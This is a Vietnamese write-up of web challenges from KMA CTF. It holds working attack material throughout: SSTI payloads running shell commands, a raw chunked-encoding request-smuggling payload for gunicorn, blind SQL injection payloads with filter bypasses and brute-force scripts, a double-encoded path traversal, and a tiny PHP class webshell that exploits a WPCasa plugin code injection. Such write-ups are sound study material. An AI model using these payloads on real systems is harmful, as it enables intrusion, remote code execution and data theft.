KMA CTF :
Writeup KMA CTF (Web exploitation)

YDSYD :
Bài này server cho user admin có isAdmin : true sẵn rồi.
Ở endpoint /login ko có sự filter nào về user admin

Vậy chỉ cần login vào với user là admin là đã có token JWT và get flag thôi.
POST /login HTTP/2Host: ydsyd.wargame.vnContent-Type: application/jsonContent-Length: 16
{"user":"admin"}
Và chỉ cần gắn cookie vào, POST tới annyeong là đã được flag :

POST /annyeong HTTP/2Host: ydsyd.wargame.vnAuthorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpc0FkbWluIjp0cnVlLCJpYXQiOjE3NTkwNDMyMzAsImV4cCI6MTc1OTA0NjgzMH0.9Aeue-p_znn_7PGm7SOoPDqm1Ryq5Ds2z86GF-UtqJIContent-Type: application/jsonContent-Length: 2
{}
FLAG : KMACTF{Y1u__50lv3d_Y0u_L1ved??<3}
ACL and H1 :
Unintend :
Challenge này có vuln SSTI ở /render

Nhận filepath sau đó sẽ read file và render_template_string với nội dung file.
Và cho chúng ta upload file, nó sẽ random name sau đó save vào uploads

Hàm allow_file sẽ check file coi có phải là txt hoặc html hay không.

Và challenge này sử dụng gunicorn làm sv proxy.
config :
map /render http://gunicorn-server:8088/internal @action=deny @method=post @method=getmap / http://gunicorn-server:8088/Thì nó sẽ chặn rq tới /render http://gunicorn-server:8088/internal với method post hoặc get.
Thì /render chính là chỗ chúng ta cần truy cập để trigger SSTI
Thì gunicorn có CVE Http Requests Smuggling nhưng ở biên bản thấp hơn, mà author sử dụng gunicorn==23.0.0 nên phải tìm cách bypass khác.
Để ý thì author dùng map /render Vậy sẽ ra sao khi chúng ta encode endpoint đó và gửi lên sv.
Khi gửi rq bình thường :
Encode :

Vậy là đã truy cập được , bây giờ upload file chứa payload SSTI RCE để get flag thôi :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /*').read() }}Sau khi upload thì đã được path :
See all file :
Render + url encoding :

Flag : KMACTF{HTTP/1.1_Must_Di3_or_Not?????}
Intend :
https://w4ke.info/2025/06/18/funky-chunks.html
Bài blog này phân tích cho chúng ta cách lợi dụng kí tự kết thúc dòng (\r,\n) để gây HTTP Requests Smuggling.
Bài viết này phân tích 4 vector attack : TERM.EXT,EXT.TERM,TERM.SPILL,SPILL.TERM nhưng mà chủ yếu áp dụng TERM.EXT và EXT.TERM
Đầu tiên để hiểu thì chúng ta cần tìm hiểu Chunk extensions trước.
Trong HTTP/1.1, khi một rq được gửi với Transfer-Encoding: chunked, dữ liệu được chia thành nhiều chunk. Mỗi chunk có cú pháp như sau :
<chunk-size>[;<chunk-extension>]\r\n<chunk-data>\r\nchunk-sizelà độ dài dữ liệu, nó được tính theo hexchunk-datalà data.chunk-extensionlà phần chunk mở rộng, nó ở sau dấu;(có hay không cũng được.)
chunk-extension có tác dụng cung cấp metadata cho chunk (signature hoặc hash)

Và trong thực tế thì hầu như không có server/client nào sử dụng chúng. Các trình parse thường hay bỏ qua nó.
NOTEVì
chunk-extensionkhông được sử dụng phổ biến và rộng rãi nên là các trình parse triển khai HTTP có thể sẽ không tuân thủ chuẩn về các quy tắc của nó. (Có thể gọi là làm cho có)
Và chúng ta lợi dụng sự mơ hồ về parse chunk-extension để chèn các kí tự end line.
Ví dụ chúng ta chèn \n vào bên trong chunk-extension thì trình parse sẽ có 3 lựa chọn :
- Bỏ qua
\nvà parse bình thường để tìm\r\n(terminator). Và nó đã vi phạm quy tắc RFC (Do kí tự này không được cho phép trongchunk-extension) - Hiểu nó như một kí tự end line : Lúc này thì trình parse nó sẽ end cái
chunk-header(chunk-extensionnằm trongheader) và bắt đầu parsechunk-body - Throw lỗi. Cách này là an toàn nhất.
Vậy thì chúng ta cần lợi dụng lựa chọn 1 và 2 để Smuggling nếu proxy chọn cách 1 và server chọn cách 2 và ngược lại.
TERM.EXT (Terminator trong Extension)
Cách này là proxy hiểu là kí tự end line và server không hiểu.
Chúng ta có thể thấy proxy nhận \n ở sau dấu ; (chunk header) là dấu kết thúc dòng. Lúc này proxy sẽ parse chunk body và khi hết 2 byte kí tự thì xuống chunk header khai báo có 45 byte body -> parse hết 45 byte rồi tìm 0\r\n để end request TE.
Còn bên server, server không nhận \n là kí tự kết thúc dòng. Sẽ đi tìm \r\n để kết thúc chunk header.
Sau đó 45 sẽ là chunk body, 0\r\n\r\n sẽ kết thúc requests của TE.
Và request mới đã được tạo ra.
EXT.TERM :
Thì biến thể này ngược lại, proxy ko hiểu end line \n còn server lại hiểu.

Ta có thể thấy chunk header khai báo 45 byte (hex) và ; để mở chunk extension , chèn \n vào , proxy không nhận và nó sẽ tìm \r\n chính thức để end chunk header.
Sau đó chunk body sẽ được parse 45byte hex.
Còn bên server, Nó hiểu \n là end line nên sẽ dừng chunk header sau đó chunk body sẽ kéo dài 45 byte hex và kết thúc với 0\r\n\r\n và requests thứ 2 sẽ được tạo ra.
solve :
tác giả có bảo gunicorn có bị TERM.EXT nên là chúng ta có thể test bằng TERM.EXT (Lỗ hổng đã được biết đến và đang chờ fix.)
Vì là TERM.EXT nên là proxy nhận \n là end line còn server ko nhận. Nên sẽ viết payload như sau :
GET / HTTP/1.1\r\nHost: localhost:8188\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n2;\ncc\r\n54\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: localhost:8088\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n
Check trong console của docker thì nó có báo ERROR - 404 Error: Path '/admin' not found
Vậy là đã smugg thành công.
Vì request smugg được server xử lí và chỉ response request / đầu tiên nên là tìm cách leak flag bằng OOB.
Nhưng mà do server docker không có các command OOB đơn giản rồi nên là có thể dùng route này để read flag
payload SSTI :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('mkdir /app/uploads/flag_ccmm && cat /flag* > /app/uploads/flag_ccmm/ccc.txt').read() }}upload :
uploads/055a1dc947e94d49a55705f8634b84ec/5553a10c3dae4096.txt
Smugg render :
get flag :

payload cho bạn nào muốn test :
GET / HTTP/1.1\r\nHost: 165.22.55.200:50001\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n2;\ncc\r\n96\r\n0\r\n\r\nGET /render?filepath=uploads/055a1dc947e94d49a55705f8634b84ec/25ab8e8364d04222.txt HTTP/1.1\r\nHost: localhost:8088\r\nTransfer-Encoding: chunked \r\n\r\n0\r\n\r\nFlag : KMACTF{HTTP/1.1_Must_Di3_or_Not?????}
vibe_coding :
Challenge này có 2 service là nodejs và python
Service python chứa flag và được return khi call process_action với username là admin và action là readFlag

Ở endpoint /execute (Đã rút gọn code) Thì sẽ nhận POST tới và get username,request_id ,action từ request.form.get('...').strip()
@app.route('/execute', methods=['POST'])def execute_handler(): try: username = request.form.get('username', '').strip() request_id = request.form.get('requestid', '').strip() action = request.form.get('action', '').strip()
if not username or not request_id or not action: return send_error_response( "Missing required fields", "username, requestid, and action are required", 400 )
...
return jsonify(response), 200
except Exception as e: ...hàm .strip() sẽ xoá space ở đầu và ở cuối của variable.
Service python chỉ cho phép local, ko mở port ra bên ngoài.

Service nodejs
app.post('/register', async (req, res) => { const { username, password } = req.body;
if (!username || !password) { return res.status(400).json({ error: 'Username and password are required' }); }
if( typeof username !== 'string' || typeof password !== 'string' ) { return res.status(400).json({ error: 'Username and password must be strings' }); }
// Validate username length (must be > 5 characters) if (username.length <= 5) { return res.status(400).json({ error: 'Username must be longer than 5 characters' }); }
if (users[username]) { return res.status(400).json({ error: 'User already exists' }); }
try { const hashedPassword = await bcrypt.hash(password, 10); users[username] = { username, password: hashedPassword, createdAt: new Date().toISOString() };
res.json({ message: 'User registered successfully', username: username, hint: 'Now you can login to get JWT token' }); } catch (error) { res.status(500).json({ error: 'Registration failed', message: error.message }); }});Endpoint này cho register, check users[username] xem nếu có báo user đã tồn tại hoặc lỗi thì return failed
Còn /action sẽ get data từ requests của user. Sau đó sẽ gửi về server python /execute :

Để ý thì register, login sẽ ở bên service nodejs. Còn khi action qua service của python thì nó sẽ nhận data và .strip()
Ý tưởng :
Chúng ta có thể lợi dụng điều này để reg username admin (có space ở 2 đầu) để register và login.
Sau đó khi server nodejs forward qua server python thì sẽ strip và chúng ta đã được user là admin trong requests tới /execute.
Register :
POST /register HTTP/1.1Host: 165.22.55.200:50004Connection: keep-aliveContent-Type: application/jsonContent-Length: 43
{"username":" admin ","password":"duc193"}
Login :
POST /login HTTP/1.1Host: 165.22.55.200:50004Connection: keep-aliveContent-Type: application/jsonContent-Length: 43
{"username":" admin ","password":"duc193"}
Get flag :
POST /action HTTP/1.1Host: 165.22.55.200:50004Connection: keep-aliveContent-Type: application/jsonAuthorization: Beaber eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IiAgYWRtaW4gIiwiaWF0IjoxNzU5MDU4NjgxLCJleHAiOjE3NTkxNDUwODF9.YlixecXi8vByAOr-xZSGv7b1uXQD7lPldoGwvQRFHaMContent-Length: 21
{"action":"readFlag"}
flag : KMACTF{how_can_you_pollute_param_@@_}
Data Lost Prevention :
Challenge này cho chúng ta 1 trang web như sau :

Để ý vào chức năng search và chức năng export.
Đầu tiên thì phải xác định flag nằm ở đâu đã :

Thì đoạn code này sẽ check coi trong attachments có is_lost=1 trong db chưa, có r thì out. Chưa có thì sẽ gen uuidv4 rename file flag và gắn vào path /var/data/flags.
Sau đó sẽ add vào table attachments với filename là Q2-incident-raw.csv và storage_path là path tới file flag vừa gen.
/api/search.php :

Đoạn này có dính vuln SQL Injection do chèn $filtered vào payload sql. Dù đã qua filter nhưng vẫn k an toàn.
$q2 = preg_replace('/\s+/u', '', $q);đoạn này sẽ filter và replace các khoảng trắng. Bao gồmspace,tab,\n,...$q2 = preg_replace('/\b(?:or|and)\b/i', '', $q2);dòng này sẽ replaceorvàand(không phân biệt viết hoa hay thường.). Lưu ý là do có\bnên là chỉ cóorhoặcandđứng một mình mới bị replace. Nên là ko thể bypass bằng cách dùngoorrhayanandd. Nhưng mà có thể dùng||,&&thay choorvàand.$q2 = str_ireplace(["union","load_file","outfile","="], '', $q2);Hàm này chỉ đơn giảnn là replace các kí tự nếu có trong chuỗi (Ko phân biệt Hoa, thường). Và lưu ý là chuỗi sau khi replace xong sẽ được checkstrlendưới 90 kí tự mới cho phép query
Đây là payload gốc :
$sql = "SELECT id,title FROM cases WHERE title RLIKE '.*$filtered' AND owner_id = :uid LIMIT 1";Thì chỉ trả về json (bool)$row nên chúng ta cần query blind boolean để trả về row hoặc ko.
Vậy cần payload ngắn mà đáp ứng được điều kiện trên :
Sau một hồi fuzz thử thì được payload như sau :

payload :
-'union select 1,1 FROM(attachments)where substr(storage_path,1,1)like'/'#(-' để làm cho nó return sai vế trước.)
Sau đó dùng union để select 2 row và get storage_path từ attachments, sau đó substring để bruteforce từng kí tự.
Bypass filter :
- Vì union bị filter nên có thể chèn
unio=nđể khi nó replace=sẽ còn chuỗiunion. - Bypass filter space bằng
/**/ - Đoạn
FROM(attachments)thì dùng cách này để khỏi phải dùng/**/FROM/**/attachments/**/để payload ngắn hơn. - Đoạn
substring(storage_path,1,1)like'/'#viết liền để hạn chế dùng space (Nhưng mà nó vẫn chạy được.)
Thay /**/ vào payload :
-'union/**/select/**/1,1/**/FROM(attachments)where/**/substr(storage_path,1,1)like'/'#Được payload 86 kí tự, hợp lí rồi. Script Brute tên file :
import requestsbase_url = "https://dlp.wargame.vn/api/search.php?q="cookies = {"PHPSESSID": "d005006fea64b1d184298adaaf03502e"}headers = {"Connection": "keep-alive"}file = "/var/data/flags/flag_2986112"# Cho _ ở cuối bởi vì chúng ta dùng LIKE nó sẽ luôn true khi có _ (Có thể dùng để check length)# Nhưng mà do name flag không có `_` nên là thôi bỏ cũng được.CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/.-{}_"def gen_payload(index,ch): sql = f"-'uni%3don%2f**%2fselect%2f**%2f1%2c1%2f**%2fFROM(attachments)where%2f**%2fsubstr(storage_path%2c{index}%2c1)like'{ch}'%23" return sqlfor i in range(27,100): for ch in CHARSET: payload = gen_payload(i,ch) url = base_url + payload a = requests.get(url) if "true" in a.text: file += ch break print(file)Do trên server hơi lag nên GPT để script đa luồng cho nhanh :
import requestsfrom concurrent.futures import ThreadPoolExecutor, as_completedimport threadingimport time
base_url = "https://dlp.wargame.vn/api/search.php?q="cookies = {"PHPSESSID": "d005006fea64b1d184298adaaf03502e"}headers = {"Connection": "keep-alive", "User-Agent": "Mozilla/5.0 (ctf-bruter)"}CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/.-{}"
file_path = ""
MAX_WORKERS = 10REQUEST_TIMEOUT = 8RETRY = 2SLEEP_BETWEEN_INDEX = 0.05
def gen_payload(index, ch): sql = f"-'uni%3don%2f**%2fselect%2f**%2f1%2c1%2f**%2fFROM(attachments)where%2f**%2fsubstr(storage_path%2c{index}%2c1)like'{ch}'%23" return sql
def probe_char(session: requests.Session, index: int, ch: str) -> bool: url = base_url + gen_payload(index, ch) tries = 0 while tries <= RETRY: try: r = session.get(url, cookies=cookies, headers=headers, timeout=REQUEST_TIMEOUT, allow_redirects=False) if "true" in r.text: return True return False except requests.RequestException: tries += 1 time.sleep(0.2) return False
def find_char_at_index(session: requests.Session, index: int) -> str | None: found_event = threading.Event() found_char = None with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: futures = {executor.submit(probe_char, session, index, ch): ch for ch in CHARSET}
try: for fut in as_completed(futures): ch = futures[fut] try: ok = fut.result() except Exception: ok = False if ok: found_char = ch found_event.set() break finally: pass
return found_char
def main(): global file_path start = 1 end = 100
with requests.Session() as session: for i in range(start, end): ch = find_char_at_index(session, i) if ch is None: print(f"[{i}] No char found -> stopping.") break file_path += ch print(f"[{i}] found: {ch} -> {file_path}") time.sleep(SLEEP_BETWEEN_INDEX)
print("Done. Final:", file_path)
if __name__ == "__main__": main()Nhớ thay cookie vào chạy chứ không bị lỗi.
Được tên flag :

/var/data/flags/flag-2986112f-ec04-4d17-b80a-6a60a00a95da.txt
Bên export.php
Thì sẽ check while nếu có ../ sẽ replace thành ""
(Không thể dùng ..././) vì nó có đệ quy)
Để ý thì nó có urldecode nên chúng ta có thể encoding 2 lần gửi lên để bypass qua filter.
2 lần do 1 lần server tự decode, lần thứ 2 là do code.
path traversal về :
../../data/flags/flag-2986112f-ec04-4d17-b80a-6a60a00a95da.txt
double url encode :
..%252f..%252fdata%252fflags%252fflag-2986112f-ec04-4d17-b80a-6a60a00a95da.txt
Flag :
KMACTF{i'M_bL1nd_bUt_u_'r3_Sm4rZZZZ}
CVE-2025-93XX :
Challenge này author cho chúng ta 1 file WordPress :
Sau khi dựng local lên thì vào page admin.
Thì challenge WP thường đa số sẽ target vào plugin WP. Nên là check thử Plugin trong wp-admin :
(Ở đây mình tự active 2 plugin)
Vậy là có 2 plugin là Safe PHP Class Upload (read-only, non-executable) version 0.1 (author meulody tên author challenge này ) và WPCasa version 1.4.1
Khi search thử thì thấy có CVE của wpcasa
https://zeropath.com/blog/cve-2025-9321-wpcasa-wordpress-plugin-code-injection-summary
CVE 2025-9321
Tóm tắt thì plugin WPCasa có chứa lỗ hổng Code Injection cho phép attacker call hàm api_requests nằm ở file includes/class-wpsight-api.php và có thể dẫn tới RCE. Do không WhiteList, filter blacklist input nên dẫn tới việc attacker có thể tấn công vào và RCE.
Vì CVE này mới ra được 6 ngày nên chưa có PoC (1day).

Mở thử file đó lên xem như nào đã :
Khi khởi tạo class nó sẽ chạy __construct()
add_filter( 'query_vars', array( $this, 'add_query_vars'), 0 );: thêm biến querywpsight-apivào danh sáchquery_varscủaWordPress.add_action( 'parse_request', array( $this, 'api_requests'), 0 );: Hook vào quá trình parse request để xử lý khi có request tới endpoint API.function add_query_vars( $vars ): Mở rộng query vars củaWordPressđể chấp nhận tham số?wpsight-api=...trên URL.
Hàm api_requests sẽ có flow như sau :
- Nếu tồn tại
$_GET['wpsight-api']→ gán vào$wp->query_vars['wc-api']. - Sau đó check nếu có
$wp->query_vars['wc-api']sẽob_start()Hàm này sẽ không cho script nếu được chạy in ra output ra ngoài. Đây là lí do tại sao khi gọi echo nó không in ra. - Tiếp tục sẽ gắn
$apitừwpsight-apilowercase. Sau đó nếu tồn tại class thì khởi tạo class đó. vớinew $api()

Ban đầu thì ý tưởng là tìm sink để RCE nhưng mà không được, do chỉ cho mỗi reg new Class, không cho truyền j vào.
Sau thì nghĩ lại thấy plugin upload của author :
Đầu tiên sẽ khởi tạo và add_action('rest_api_init', function () để nhận rq post tới.

flow sẽ như sau :
Nhận file -> check coi nếu file có size > 64 byte thì throw lỗi. -> read file và check phải có Class ... -> sau đó sẽ check xem chúng ta có sử dụng hàm bị cấm không.

Rồi mới save vào file .txt
Câu hỏi đặt ra là save vào file txt thì làm sao mà dùng Class này để có thể trigger CVE được.
Để tìm hiểu rõ hơn thì CTRL SHIFT F uploads_safe_classes
Và chúng ta đã tìm thấy author đã sửa đoạn code này để include file txt vào.

Và đoạn code này nằm trong hàm __construct của class WPSight_Framework
Lệnh wpsight(); ở cuối file được gọi mỗi lần WordPress load plugin này.
Trong function đó, nếu biến global $wpsight chưa tồn tại, nó sẽ new WPSight_Framework() và sẽ làm load constructor.
NOTEMà mỗi lần truy cập web thì
wpsẽload plugincho chúng ta, vậy chúng ta có thể coi như server luôn triggerincludefile txt.

Vậy thì upload sẽ ở endpoint nào :
Thì nó sẽ add_action vào rest_api_init nên là mình tìm thấy docs :
https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/

Vậy là chúng ta có thể gọi upload bằng query :
?rest_route=/safe-upload/v1/upload

Upload thành công.

Vậy giờ tìm cách để rce, bypass filter và size 64byte.
Thì trong magic method của PHP có function magic method __construct là hàm sẽ được chạy khi chúng ta khởi tạo 1 object.
Vậy thì chúng ta có thể lợi dung nó với cách gọi hàm $a($b) để RCE. (Dùng payload này là do nó ngắn để ko bị dính quá 64 kí tự) hoặc có thể dùng include($_GET[1]) và kết hợp với php filter chain.
Ví dụ :

Và để control thì chúng ta có thể dùng $_GET[1]($_GET[2]) để truyền tham số vào bằng requests.
payload :
<?php class cc{function __construct(){$_GET[1]($_GET[2]);}}upload :
curl -X POST "http://localhost:8082/?rest_route=/safe-upload/v1/upload" -F "file=@123.txt"
GET /?wpsight-api=cc&1=system&2=ls HTTP/1.1Host: localhost:8082Connection: keep-alive
Vì nó luôn die(1) nên phải blind exploit.
get Flag bằng cách copy file flag.php ra /var/www/html
cat /var/www/html/flag* |base64 > /var/www/html/duc193_xxxxxx.txt
Được flag local :

Flag server :

Flag : KMACTF{Y3s_it's__1dayupload_php_class_4nd_ex3cut3_it_⚆_⚆}
Some information may be outdated